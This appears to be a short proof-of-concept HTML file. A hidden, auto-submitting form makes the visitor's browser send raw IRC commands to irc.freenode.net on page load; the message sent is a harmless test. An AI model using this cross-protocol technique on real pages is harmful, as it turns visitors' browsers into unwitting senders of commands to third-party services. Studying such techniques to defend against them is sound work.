test.htm

<form id="t" action="http://irc.freenode.net:6667" method="post" enctype="text/plain" style="display:none">
   <input type="text" name="" value="
PONG irc.freenode.net
USER codeblocktest codeblocktest codeblocktest :codeblocktest
NICK codeblocktest
JOIN #codeblock
PRIVMSG #codeblock :does this work?" />
   <input type="submit" />
</form>
<script type="text/javascript">document.getElementById('t').submit()</script>